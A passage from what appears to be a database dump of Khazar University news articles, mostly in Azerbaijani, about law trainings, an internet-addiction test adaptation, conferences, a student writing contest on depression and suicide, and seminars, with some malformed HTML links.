Mərkəzində&nbsp;<em>“Avropa İnsan Hüquqları Konvensiyasının təhlili”&nbsp;</em>mövzusunda təlim keçirildi. Təlimi Avropa İnsan Hüquqları Assosiyasiyasının üzvü, Avropa İnsan Hüquqları Məhkəməsində hüquqşünas işləmiş Könul Qasımova aparırdı. Təlimin iştirakçıları Xəzər Universitetinin tələbələri ilə yanaşı, Bakı Dövlət Universitetinin, Prezident yanında Dövlət İdarəçilik Akademiyasının, Kiyev Dövlət Universiteti Hüquq fakültəsinin bakalavr və magistr tələbələri, dövlət qurumlarında və müxtəlif hüquq şirkətlərində çalışan hüquqşünaslar idilər.Təlimin açılışında Hüquq Tədris Mərkəzinin rəhbəri Cabir Xəlilov çıxış edərək, iştirakçıları salamladı və onlara işlərində uğurlar arzuladı. Təlimdə AİHM-nə şikayətlərin verilməsi qaydası müzakirə olundu, iştirakçılar Avropa İnsan Hüquqları Konvensiyasının müxtəlif maddələri və AİHM-nin qərarları ilə yaxından tanış oldular.Təlimin keçirilməsi üçün iki gün nəzərdə tutulsa da, təlim maraqlı və məhsuldar keçirildiyinə görə, iştirakçılar təlimin davam etdirilməsi üçün müraciət etmişlər. İştirakçıların müraciətlərini nəzərə alaraq, təlimin davamı növbəti aylarda da planlaşdırılır.<strong></strong><br><strong style=\"font-size:large\"><em><br></em></strong></div><div><strong style=\"font-size:large\"><em><br></em></strong></div><div><strong style=\"font-size:large\"><em>Xəzər Universiteti Humanitar və Sosial elmlər fakültəsinin dekan müavini, psixologiya kafedrasının müəllimi</em></strong><em style=\"font-size:large\">&nbsp;<strong>Mələk Kərimova türkiyəli mütəxəssis Səlim Günüçlə birlikdə internet asılılığının</strong>&nbsp;<strong>müəyyənləşdirilməsi ilə bağlı testi Azərbaycanda istifadəyə uyğunlaşdırıblar.</strong></em>&nbsp;</div><div><br></div><div style=\"text-align:justify\">Bu test 1146 tələbə üzərində sınaqdan keçirilib, ilk empirik test olaraq, ABŞ-ın “Journal of Education və Training Studies” (http://redfame.com/journal/index.php/jets/index) nəşrində online dərc edilib. “İnternet asılılığımızın olub-olmadığını necə bilərik?” adlı testi türkiyəli mütəxəssislər Səlim Günüç və Murad Kayri 2010-cu ildə birlikdə hazırlayıblar. Tədqiqatda eyni zamanda Azərbaycan tələbələri arasında internet asılılığının hansı vəziyyətdə olduğu müəyyən edilib: “Nəticələrə görə, tələbələrin 48.1% internet asılılığı olan, 51.9% internet asılılığı olmayan qrup kimi qarşımıza çıxmaqdadır. &nbsp;Bu, profilaktik tədbirlərin həyata keçirilməsinin zərurətini ortaya qoyur”. Bu tədqiqat Azərbaycan psixoloqlarının gələcəkdə görəcəyi tədbirlər və yeni elmi işlər üçün böyük əhəmiyyət kəsb edir. Başqa ölkələrdə istifadə edilən və sadəcə olaraq, tərcümə edilərək istifadə edilən psixoloji testlər elmi olaraq doğru hesab edilməməkdədir. Bu mənada Azərbaycan cəmiyyətinə uyğunlaşdırılan və elmi olaraq yoxlanılan testlərin tətbiqi böyük əhəmiyyət kəsb edir. Bu test elmi təsdiqini tapmış klinik test olaraq psixoloqlar, psixiatrlar tərəfindən istifadə edilə bilər. Mələk Kərimovanın sözlərinə görə, son illərdə texnologiyanın inkişafına bağlı olaraq yeniyetmə və gənçlər arasında internetdən istifadə geniş yayılıb: “Artıq internetsiz, cib telefonu olmadan həyatı düşünmək belə insana ağlasığmaz gəlir. İnternet müxtəlif məqsədlərlə istifadə edilir. İnternet insanlar arasındakı ünsiyyət üçün bir mənbəyə çevrilməklə bərabər, onları təcili xəbərləşmə, əyləncə, oyun, ticarət və s. kimi faydaları ilə özünə çəkir. İnternet vaxt anlayışının önünə keçərək işlərimizi asanlaşdırır. Təbii ki, faydaları ilə yanaşı, internetin zərərləri də qaçılmazdır. Məqsədsiz, hərəkətsiz saatlarla internet qarşısında əyləşən və fərqində olmadan internetdən asılı hala gələn insanların sayı da gündən-günə artmaqdadır. İnternet asılılığı artıq dünyadakı mütəxəssislərin diqqətini çəkməkdədir. İlk dəfə Goldberg (1996) və daha sonra Young (2013) kimi mütəxəssislər “internet asılılığı” termini üzərində işləyiblər. Onlar “patoloji internet istifadəsi” terminindən istifadəni uyğun hesab ediblər. Hansı terminologiyanın istifadə edilməsindən asılı olmayaraq, bu, əsrin problemi olaraq yaxın gələcəkdə qarşımıza çıxacaq. Bu mənada internet istifadəçiləri arasında internet asılılığı olan və olmayanların düzgün şəkildə müəyyən edilməsi böyük əhəmiyyət kəsb edir”.</div><div style=\"text-align:justify\"><strong><br></strong></div><div style=\"text-align:justify\"><strong><br></strong></div><div style=\"text-align:justify\"><strong></strong><strong>YAZ-2015</strong><em></em><div><strong><em style=\"color:#330066\">Departament İclası</em></strong></div><div><br></div><div>09.06.2015-ci il tarixində Şərq dilləri və din araşdırmaları departamenti ilə Müasir dillər və müqayisəli ədəbiyyat departamentinin əsasında yaranmış Dillər və mədəniyyətlər departament ilk iclası oldu. İclasda Humanitar və sosial elmlər fakültəsinin dekanı Dos. Cabir Xəlilov və departamentin əməkdaşları iştirak etdilər. İclasda departamentin müdiri i.f.d. Elnurə Əzizova yeni tədris ilində təklif olunan fənlərin məzmunu və tədris planının departamentin yeni istiqamətinə uyğun olaraq inkişaf etdirilməsi, tələbələrə ikinci xarici dil kimi təklif olunan Şərq və Qərb dillərini təmsil edən mədəniyyətərə aid müxtəlif elmi və mədəni tədbirlərin keçirilməsi və digər məsələləri müzakirəyə açdı. Humanitar fakültənin dekanı Dos. Cabir Xəlilov müxtəlif ixtisaslar üzrə tələbələrə ikinci xarici dilin tədrisinin qarşısındakı çətinliklər, həll yolları və imkanlar haqqında danışdı. Departamentin müəllim heyəti irəli sürülən məsələlərə yanaşmalarını və təkliflərini bildirdilər.</div><div><br></div><div><br></div>&nbsp;<strong><em>Humanitar&nbsp;və Sosial elmlər fakültəsinin əməkdaşı&nbsp;</em></strong><em><strong>\"Müəllim hazırlama siyasəti və problemləri\"&nbsp;5-ci Beynəlxalq Simpoziumu</strong></em></div><div style=\"text-align:justify\"><strong><em><br></em></strong><em><strong></strong></em><div>30 aprel-02 may 2015-ci il tarixlərində Hacettepe Universiteti Pedaqoji fakültəsi,&nbsp;Azərbaycan Dövlət Pedaqoji Universiteti və&nbsp;Qafqaz Universiteti Pedaqoji fakültəsi&nbsp;tərəfindən \"Müəllim hazırlama siyasəti və problemləri\"&nbsp;5-ci Beynəlxalq Simpoziumu bu il Azərbaycanda təşkil olunmuşdur. Simpoziumda Humanitar və Sosial Elmlər fakültəsinin dekan müavini Mələk Kərimova da iştirak etmişdir. Müasir təhsilin gələcəyi, təhsil sahəsində islahatlar və bu sahədə olan problemlər geniş müzakirə olunmuş&nbsp;və irəlidə görüləcək işlər barədə ətraflı müzakirələr aparılmışdır.<em></em></div><div><br></div><div><br></div><strong style=\"color:#330066\"><em>Humanitar</em><em>&nbsp;</em><em>və Sosial elmlər fakültəsinin əməkdaşları,</em><em>&nbsp;</em><em>Qafqaz Universitetində Ümumilli lider Heydər Əliyevin anadan olmasının 92-ci ilinə həsr olunmuş Gənc Tədqiqatçıların III Beynəlxalq Elmi Konfransında</em></strong></div><div style=\"text-align:justify\"><span style=\"color:#330066\"><strong><em><br></em></strong></span><strong style=\"color:#330066\"><em></em></strong><div>Aprel 17-18, 2015-ci il Humanitar və Sosial elmlər fakültəsinin Dekan müavini Mələk Kərimova və Dekan köməkçisi ValiDə Kərimova, Qafqaz Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 92–ci ilinə həsr olunmuş Gənc Tədqiqatçıların III Beynəlxalq Elmi Konfransında iştirak etmişlər. Konfransa Azərbaycan, ABŞ, Böyük Britaniya, Rusiya, Çexiya kimi ölkələrin gənc tədqiqatçıları və elm adamları öz tezisləri ilə müraciət ediblər. Qeyd etmək lazımdır ki, 1400- ə yaxın tezis arasından 954 elmi məqalə qəbul edilib. Məqalələr 4 dildə - Azərbaycan, Türk, Rus, İngilis dillərində təqdim olunub. Əsas hədəf müxtəlif ölkələrin elmi tədqiqatçılarını bir araya gətirməklə elmlə məşğul olan gənclər arasında əlaqələrin qurulmasını təmin etməkdən ibarətdir. Konfransda Mələk Kərimova “İnternet asılılığı və önləm yolları” haqqında tezislə çıxış etmişdir. Konfransın sonunda elmi tədqiqatçılara elmi məqalələrin dərc olunduğu iki cildli kitab və sertifikat hədiyyə olundu.</div><div><br></div><div><br></div><strong><em style=\"color:#330066\">“Depressiya və suisid” “Yaradıcı müəllif” müsabiqəsinə yekun vuruldu</em></strong></div><div style=\"text-align:justify\"><span style=\"color:#330066\"><strong><em><br></em></strong></span><strong><em style=\"color:#330066\"></em></strong><div>2015-ci il aprelin 9-da Xəzər Universiteti Psixologiya və Konsultasiya Mərkəzi və “Düşüncə” jurnalının birgə layihəsi olan “Depressiya və suisid” mövzusunda “<em>Creative author</em>” (“Yaradıcı müəllif”) müsabiqəsinin yekun tədbiri keçirildi. Müsabiqəyə 100 məqalə daxil olmuş və onlar arasından 36 məqalə seçilmişdir.</div>Müsabiqə aşağıdakı istiqamətlər üzrə aparılmışdır:•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Problemlə bağlı ümumi xarakteristika;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“Depressiya və suisid”lə qarşılaşan şəxslərlə aparılan müsahibə;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bu istiqamətdə hər hansı əsərin, mahnının və ya filmin təhlili;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Elmi cəhətdən problemin analizi.Məqalələr peşəkar mütəxəssislər tərəfindən yoxlanılmışdır:1. Xəzər Universiteti İnsan resursları departamentinin rəhbəri, Psixologiya departamentinin müdiri psixoloq Ülkər İsayeva;2. AMEA-nnın elmi işcisi, Psixologiya və Konsultasiya Mərkəzinin rəhbəri, ailə psixoloqu Elnur Rüstəmov;3. Xəzər Universiteti Humanitar sosial elmlər fakültəsinin dekan müavini psixoloq Mələk Kərimova;4. Tibb elmləri üzrə fəlsəfə doktoru, dosent, psixiatr Araz Manüçöhri Lalei;5. Psixologiya və Konsultasiya Mərkəzinin psixoloqu, Aygün Ağabalayeva;6. Psixologiya və Konsultasiya Mərkəzinin klinik psixoloqu, Orxan Fərəcli.&nbsp;Nəticə olaraq, dörd nəfər qalib müəyyən edildi.<em>“Creative author”</em>&nbsp;müsabiqəsinin qalibi I qrup əlil Samir İmanov seçildi, Xəzər Universiteti Psixologiya və Konsultasiya Mərkəzi və “Düşüncə” jurnalı tərəfindən mükafatlara layiq görüldü.Müsabiqə çərçivəsində keçirilən tədbirdə mövzu ilə bağlı treninq keçirilmişdir. Mütəxəssislər tərəfindən “Depressiya və suisid” ətrafında psixoloji açıqlama AMEA-nnın elmi işcisi, Psixologiya və Konsultasiya Mərkəzinin rəhbəri, ailə psixoloqu Elnur Rüstəmov, hüquqi açıqlama hüquqşünas Akif Əlizadə və fəlsəfi açıqlama isə Fəlsəfə departamentinin müdiri Mail Yaqub tərəfindən verildi.Tədbirin sonunda isə Xəzər Universitetinin təsisçisi və rektoru, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və Xəzər Universiteti “İnsan resursları” departamentinin rəhbəri, Psixologiya departamentinin müdiri psixoloq Ülkər İsayeva layihəylə əlaqədar öz fikirlərini bildirdilər.&nbsp;</div><div style=\"text-align:justify\"><strong><em><br></em></strong></div><div style=\"text-align:justify\"><strong><em><br></em></strong></div><div style=\"text-align:justify\"><strong><em>\"Depressiya və suisid\" mövzusunda \"Creative author\" müsabiqə</em></strong></div><div style=\"text-align:justify\"><strong><em><br></em></strong><strong><em></em></strong><div>9 Aprel 2015-ci il tarixində Xəzər Universiteti, Psixologiya və Konsultasiya Mərkəzi və \"Düşüncə\" jurnalının birgə layihəsi olan \"Depressiya və suisid\" mövzusunda \"Creative author\" müsabiqəsinin yekun tədbiri keçirilmişdir. Müsabiqə çərçivəsində 100 məqalə daxil olmuş və onlar arasından 36 məqalə seçilmişdir. Müsabiqə aşağıdakı istiqamətlər üzrə aparılmışdır:</div>Problemlə bağlı ümumi xarakteristika·“Depressiya və suisid” lə qarşılaşan şəxslərlə aparılan müsahibə·&nbsp;Bu istiqamətdə hər hansı əsərin, mahnının və ya filmin təhlili·Elmi cəhətdən problemin analiziMəqalələr peşəkar mütəxəssislər tərəfindən yoxlanılmış və 4 qalib müəyyən edilmişdir:1. Xəzər Universiteti \"İnsan resursları\" departamentinin rəhbəri, psixologiya kafedrasının müdiri, psixoloq Ülkər İsayeva2. AMEA-nnın elmi işcisi, Psixologiya və Konsultasiya Mərkəzinin rəhbəri, ailə psixoloqu Elnur Rüstəmov3.Xəzər Universitetinin, Humanitar-Sosial Elmlər fakültəsinin dekan müavini, psixoloq Mələk Kərimova4.Tibb elmləri üzrə fəlsəfə doktoru, dosent, psixiatr Araz Manüçöhri Lalei5.Psixologiya və Konsultasiya Mərkəzinin psixoloqu, Aygün Ağabalayeva6.Psixologiya və Konsultasiya Mərkəzinin klinik psixoloqu, Orxan FərəcliMüsabiqə çərçivəsində keçirilən tədbirdə mövzu ilə bağlı treninq keçirilmişdir. Mütəxəssislər tərəfindən \"Depressiya və suisid\" ətrafında psixoloji açıqlama AMEA-nnın elmi işcisi, Psixologiya və Konsultasiya Mərkəzinin rəhbəri, ailə psixoloqu Elnur Rüstəmov, hüquqi açıqlama Hüquqşünas Akif Əlizadə və fəlsəfi açıqlama isə Fəlsəfə kafedrasının müdiri Mail Yaqub tərəfindən verilmişdir.\"Creative author\" müsabiqəsinin qalibi I qrup əlil Samir İmanov seçilmiş, Xəzər Universiteti, Psixologiya və Konsultasiya Mərkəzi, \"Düşüncə\" jurnalı tərəfindən mükafatlara layiq görülmüşdür.Tədbirin sonunda isə Xəzər Universitetinin təsisçisi və rektoru, dirktorlar və qəyyumlar şurasının sədr, professor Hamlet İsaxanlı və Xəzər Universiteti \"İnsan resursları\" departamentinin rəhbəri, psixologiya kafedrasının müdiri, psixoloq Ülkər İsayeva layihəylə əlaqədar öz fikirlərini bildiriblər.&nbsp;<strong><em>Hüquq tədris mərkəzində növbəti təlim keçirildi</em></strong><em>&nbsp;</em>2015-ci martın 13-dən martın 15-dək Xəzər Universiteti nəzdində üç il əvvəl yaradılmış Hüquq Tədris Mərkəzində “Avropa İnsan Hüquqları Konvensiyası: ümumi təhlil” mövzusunda yeni tədris ilinin ilk təlimi keçirilmişdir. Təlimdə Xəzər Universiteti, Bakı Dövlət Universiteti, Milli Aviasiya Akademiyası, Azərbaycan Dövlət Neft Akademiyası və Azərbaycan Respublikası Prezidenti yanında Dövlət İdarəçilik Akademiyasının hüquq və beynəlxalq münasibətlər ixtisası üzrə təhsil alan tələbələri fəal iştirak etmişlər.Təlimçi Avropa İnsan Hüquqları Assosiasiyasının üzvü, Avropa İnsan Hüquqları Məhkəməsində hüquqşünas kimi fəaliyyət göstərmiş Könül Qasımova olmuşdur. Təlimdə İnsan Hüquqları və Əsas Azadlıqların Müdafiəsi haqqında Avropa Konvensiyasına uyğun olaraq, “Konvensiyaya bağlılıq” (Maddə-6), “İmzalanma və ratifikasiya” (Maddə-7), “Qüvvəyə minmə” (Maddə-10) haqqında mövzular ətraflı müzakirə və təhlil olunmuşdur.&nbsp;Təlim sertifikatların təqdimatı ilə yekunlaşmışdır.&nbsp;&nbsp;</div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"><br></em></strong></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"><br></em></strong></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\">Tələbəmizin əl işlərindən ibarət sərgisi</em></strong><div><strong><em><br></em></strong></div><div>Dekabrın 24-26-da Xəzər Universitetinin sərgi salonunda Humanitar və sosial elmlər fakültəsinin 1-ci kurs tələbəsi Pəri Qazıbəyovanın fərdi sərgisi keçirildi. P. Qazıbəyova əl işlərindən ibarət 20-dən artıq əsərini sərgidə nümayiş etdirdi. Sərgi müəllimlərin və tələbələrin böyük marağına səbəb oldu. Qərara alındı ki, universitetdə P. Qazıbəyovanın bundan sonrakı əl işlərinin də sərgisi keçirilsin.</div><div><br></div><div><br></div><strong><em style=\"color:#330066\">Humanitar və Sosial elmlər fakültəsinin tələbəsi ATGTİ-nin iclasında</em></strong></div><div style=\"text-align:justify\"><br></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"></em></strong><em></em>2011-ci ildən Avropa Tələbələr Birliyinin (ATB) tamhüquqlu üzvü olan Azərbaycan Tələbə Gənclər Təşkilatları İttifaqı (ATGTİ) 67-ci iclasını Azərbaycanda keçirmək hüququ qazanmışdır. İdarə Heyətinin bu iclasında “İnsan Hüquqları” və “Avropa tələbələrini narahat edən problemlər” mövzusunda əhatəli müzakirələr edilib, qərarlar qəbul edilmişdir. İclas 1-5 dekabr 2014-cü ildə Azərbaycan Respublikası Gənclər və İdman Nazirliyinin dəstəyi ilə baş tutmuşdur. Tədbirdə ATB-yə üzv olan 30-dan çox ölkədən 120-yə yaxın tələbə iştirak etmişdir. Bu iştirakçılar arasında Humanitar və Sosial elmlər fakültəsinin Beynəlxalq Münasibətlər ixtisası üzrə III il tələbəsi Rəhimli Pərvin Akif qızı bu beynəlxalq tədbirin Təşkilat komitəsinin üzv və əsas şəxslərindən biri olmuşdur.&nbsp;</div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"><br></em></strong></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"><br></em></strong></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\">\"İngilis dilinin tədrisi metodikası\" və Magistr tələbələrinə 3 aylıq \"Akademik Yazı\" seminarında sertifikatların təqdimatı mərasimi</em></strong></div><div style=\"text-align:justify\"><br></div><div style=\"text-align:justify\"><strong><em style=\"color:#330066\"></em></strong><em></em>Dekabr ayının 12-si Xəzər Universitetində ABŞ səfirliyindən dəvət olunan qonaqlarımızla birlikdə tədbir keçirildi. Tədbirdə qonaqlarımızla yanaşı İngilis dili və Ədəbiyyatı Departamentinin müəllimləri həmçinin Humanitar və Sosial elmlər fakültəsinin “Dilçilik” ixtisası üzrə təhsil alan magistr tələbələr də iştirak etmişdir. Tədbiri Xəzər Universitetində müəllimlər və magistr tələbələri üçün seminarlarlar təşkil edən Mary Kay Seales açdı. Tədbir iştirakçıları Mary Kay Seales haqqında xoş sözlər dedilər, üç ay davam etmiş seminarlarda öyrəndikləri yeni biliklər və təcrübələr haqqında danışdılar. Tədbirə ABŞ səfirliyinin Mədəni Əlaqələr departamentindən Kelly Cullum və İngilis dili proqramları üzrə koordinator Zülfiya Şirinova öz çıxışları ilə davam etdilər. Onlar hal-hazırda ABŞ səfirliyinin müəllimlər üçün açıq elan etdiyi proqramlar haqqında ərtaflı məlumat verdilər. Sonda iştirakçılara sertifikatlar təqdim olundu.</div><div style=\"text-align:justify\"><br></div><div style=\"text-align:justify\"><br><a href=\"http://www.khazar.org/s7432/az/xeber/2014/article_6475.html\"></a><div><em><strong style=\"color:#330066\">Tələbə Məclisinə prezident seçkisi</strong></em></div><div><em><strong style=\"color:#330066\"><br></strong></em></div>Dekabrın&nbsp;5-də&nbsp;Xəzər Universitetinin Tələbə&nbsp;Məclisinə&nbsp;prezident seçkisi keçirildi.&nbsp;Seçkidə 3 namizəd mübarizə aparırdı. Gün ərzində keçən səsvermənin nəticələrinə görə Humanitar və sosial elmlər fakültəsinin&nbsp; III kurs tələbəsi Mirzəağa Səmədov 408&nbsp;səslə Tələbə Məclisinin prezidenti, İqtisadiyyat və menecment fakultəsinin II kurs tələbəsi Əzizə Cəfərli&nbsp; 185&nbsp; səslə vitse-prezident seçildilər.Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı mühüm ictimai vəzifəyə seçilmiş tələbələrimizi təbrik edərək,&nbsp;Tələbə Məclisinə səmərəli fəaliyyət göstərməyi və uğur qazanmağı arzulamışdır.&nbsp;</div><div style=\"text-align:justify\"><br></div><div style=\"text-align:justify\"><br><div><em><strong style=\"color:#330066\">Hüquq Tədris Mərkəzində növbəti təlim keçirildi</strong></em></div><div><em><strong style=\"color:#330066\"><br></strong></em></div>Xəzər Universiteti nəzdində fəaliyyət göstərən Hüquq Tədris Mərkəzində okty<strong>a</strong>brın 23-də “Avropa İnsan Hüquqları Məhkəməsi: müraciət qaydaları və təminat verdiyi hüquqlar” mövzusunda başlanmış təlim&nbsp;oktyabrın 26-da başa çatmışdır. Təlimdə Xəzər Universiteti, Bakı Dövlət Universiteti, Milli Aviasiya Akademiyası, Azərbaycan Dövlət Neft Akademiyası və Azərbaycan Respublikası Prezidenti yanında Dövlət İdarəçilik Akademiyasının hüquq və beynəlxalq münasibətlər ixtisası üzrə təhsil alan tələbələri fəal iştirak etmişlər.Təlimçi – Avropa İnsan Hüquqları Assosiyasiyasının üzvü, Avropa İnsa</div></div></div>'),(4388,2502,'en','Seminar on the Culture and History of Ancient Egypt Held in Cultural Centre of Egypt','On October 10th, 2017 a seminar on Ancient Egypt’s culture and history, which holds an important place in Ancient...','<p>On October 10th, 2017 a seminar on Ancient Egypt’s culture and history, which holds an important place in Ancient East history books, was delivered for students majoring in History Studies at Khazar University. It is worth noting that the seminar was delivered with the support of History and Archeology Department of Khazar University and Cultural and Educational Center of the Egyptian Embassy. The seminar aimed to give clear information and knowledge to students to major in this sphere in the future, and give them a chance to expand their outlook about the subject of “Ancient East”. The seminar was attended by Firangiz Nasirova, a senior lecturer of English Language and Literature Department at Khazar University, Dr. Roza Arazova, Head of History and Archeology Department, Orkhan Zamanov, a lecturer at History and Archeology Department of Khazar University, as well as Gudrat Ismayilzadeh, the editor-in-chief of “Archeology of Azerbaijan” journal.</p><p>Ahmad Sadi Elaidi, Head of the Egyptian Cultural and Education Relations Center greeted the participants of the seminar and gave information about the establishment of the Centre, its activities, cultural relations between Egypt and Azerbaijan and cooperation with Khazar University. He also mentioned that friendship between Egypt and Azerbaijan has long history and that one of the main goals of Egyptian Cultural and Educational Centre is to expand relations between the two states, increase partnership in the field of education, organize teacher-student exchange programs, international scientific conferences and trainings. Taking into consideration the students’ interest in Ancient Egypt civilization, he underlined his high appreciation for the university’s efforts in organization of the seminar at Egyptian Cultural and Educational Centre.</p><p>Then, the Head of the Centre delivered a lecture in Ancient Egypt civilization by demonstrating culture and history of Egypt with slide shows and films. Dr. Roza Arazova, head of History and Archeology Department and Gudrat Ismayilzadeh, Editor-in-chief of “Archeology of Azerbaijan’’ journal, gave information about Ancient Egypt and the researches on the field.</p><p>At the end, there were open discussions and opinions exchange with the students.</p>'),(4424,2613,'en','Khazar University Instructors and Students attended the Caspian Technical Conference and Exhibition','On 1-3 November, 2017, the SPE Annual Caspian Technical Conference and Exhibition was held in Fairmont Hotel, Baku, Azerbaijan...','<p>On 1-3 November, 2017, the SPE Annual Caspian Technical Conference and Exhibition was held in Fairmont Hotel, Baku, Azerbaijan. The faculty and students of Khazar University participated in this scientific event by presenting two papers.</p><p>Dr. Rasoul Moradi, Mr. Masoud Mehrizade from Department of Chemical Engineering and Dr. Hassan Niknafs, acting dean of the School of Engineering and Applied Sciences, presented their new work entitled “Produced Water Treatment by Using Nano-fibrous Polyvinylidene Fluoride Membrane in Air Gap Membrane Distillation” and Dr. Gasham Zeynalov and Mr. Shahriyar Alkhasli, a PhD student from Department of Petroleum Engineering shared their work with the audience which is about “Outcrop Analogue Study of Deformation Bands and Their Impact on Rock Properties of the Productive Series in South Caspian Basin”. The papers are published in OnePetro publications and could be tracked through the following links:&nbsp;</p><embed style=\"font-size:large\" href=\"https://www.onepetro.org/conference-paper/SPE-189018-%20MS?sort=&start=0&q=gasham+zeynalov&from_year=&peer_reviewed=&published_between=&fromSearchResults=true&to_year=&rows=10#\" sort=\"\"&start=0&q=</a\"></div><div\" from_year=\"&peer_reviewed=&published_between=&from</a></div><div\" searchresults=\"true&to_year=&rows=10#</a></div><div><br></div>\" type=\"application/x-shockwave-flash\">\"&gt;<a href=\"https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;from</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189051-MS?sort=&amp;start=0&amp;q=rasoul+moradi&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">SearchResults=true&amp;to_year=&amp;rows=10#</a></div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189018-MS?sort=&amp;start=0&amp;q=gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">https://www.onepetro.org/conference-paper/SPE-189018-MS?sort=&amp;start=0&amp;q=</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189018-%20MS?sort=&amp;start=0&amp;q=gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;from</a></div><div style=\"font-size:large\"><a href=\"https://www.onepetro.org/conference-paper/SPE-189018-%20MS?sort=&amp;start=0&amp;q=gasham+zeynalov&amp;from_year=&amp;peer_reviewed=&amp;published_between=&amp;fromSearchResults=true&amp;to_year=&amp;rows=10#\">SearchResults=true&amp;to_year=&amp;rows=10#</a></div><div><br></div>  <p><br></p>'),(4217,2481,'az','Xəzər Universitetində “Media və dünya” mövzusunda beynəlxalq konfrans keçiriləcək','2017-ci il oktyabrın 28-də Xəzər Universiteti və Gürcüstanın İlia Universitetinin birgə təşkilatçılığı ilə...','<p>2017-ci il oktyabrın 28-də Xəzər Universiteti və Gürcüstanın İlia Universitetinin birgə təşkilatçılığı ilə Xəzər Universitetində “Media və dünya” mövzusunda Semiotika üzrə VIII Beynəlxalq Konfrans keçiriləcək.</p><p>“Media və dünya” Beynəlxalq Konfransı məlumat çoxluğu dövründə məlumatı ötürmə vasitələrini və onların informasiya və gündəlik həyata təsirini araşdırmaq məqsədi daşıyır. Bu konfrans aşağıdakı suallara cavab verməyə çalışacaq:</p><p>–  Yeni medianın (rəqəmsal media, yeni texnologiyalar) təsiri nəticəsində dünya necə dəyişir və yeni dünyada insanların rolu nədir?</p><p>– İnformasiyanın mənbəyi məlumatı dəyişirmi?</p><p>– Hansı halda məlumat dəyişdirilir?</p><p>– Ənənəvi və müasir informasiya ötürücüləri arasında fərq nədən ibarətdir?</p><p>Konfransın əhatə etdiyi mövzulardan bəziləri bunlardır:</p><br><ul><li>Dil və Ədəbiyyat Semiotikası</li><li>Mədəniyyətlərin Semiotikası</li><li>Semiotikanın Tarixi və Nəzəriyyəsi</li></ul><br><p>Medianın xüsusi sahəsi olaraq, mədəniyyət faktorunun (ədəbiyyat, incəsənət, musiqi, dəb, vizual sənət və s.) analizinə xüsusilə maraq göstərdiyimizi qeyd etmək istərdik.</p><p>Konfrans iştirakçılarının <strong><span style=\"text-decoration:underline\"><a href=\"/files/letters/application_form_for_semiotics.docx\">ərizə formasını</a></span></strong> dolduraraq, xülasə ilə birlikdə (Xülasə üçün tələblər: bir səhifədən uzun olmamaq şərtilə, A4 formatında, font – Sylfaen, ölçü – 11) 2017-ci il oktyabrın 10-dək <a href=\"mailto:pbashirova@khazar.org\">pbashirova@khazar.org</a> elektron ünvanına göndərmələri tələb olunur.</p><p>Seçilmiş xülasələrin müəllifləri qəbul olunmaları haqda məlumatı son qeydiyyat tarixindən sonra 10 gün ərzində elektron ünvanlarına göndəriləcək məktub vasitəsilə əldə edəcəklər.</p><p>Konfransdan sonra seçilmiş yazılar “Semiotika” elmi jurnalının 17-ci sayında dərc ediləcək.</p><p>Konfransın işlək dilləri: Azərbaycan, gürcü, rus və ingilis dilləri. Əlavə məlumat üçün <a href=\"mailto:pbashirova@khazar.org\">pbashirova@khazar.org</a>   elektron ünvanına müraciət edə bilərsiniz.</p>'),(4225,2454,'en','The subsequent meeting of the AESOP Eramus+ project took place at Khazar University','On September 21- 22, 2017, the subsequent meeting within the framework of Erasmus+ Project, \"Advocacy Establishment...','<p>On September 21- 22, 2017, the subsequent meeting within the framework of Erasmus+ Project, \"Advocacy Establishment for Students through Ombudsman Position - AESOP\", was held at Khazar University. The regional partners of the project, Khazar University, Ganja State University, Nakhchivan State University, Akaki Tsereteli State University (Georgia), Caucasus University (Georgia), Georgian American University, Poltava University of Economy and Trade, members of Kiev National Economic University, as well as Middlesex University, Warsaw University of Poland, University of L’Aquila and University of Jyvaskyla in Finland, participated in the meeting.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, welcomed the guests, spoke about the students’ important role in the universities’ activities and wished success to the participants of the AESOP project.</p><p>Prof. George Gavtadze, the rector of Akaki Tsereteli State University and Robert Michael Cawgill, the rector of Georgian American University talked about the topic. During the meeting, the members of the regional partner universities spoke about experience they gained during their visit to European universities and about their plan how to apply it to their local universities. The first day of the meeting ended with 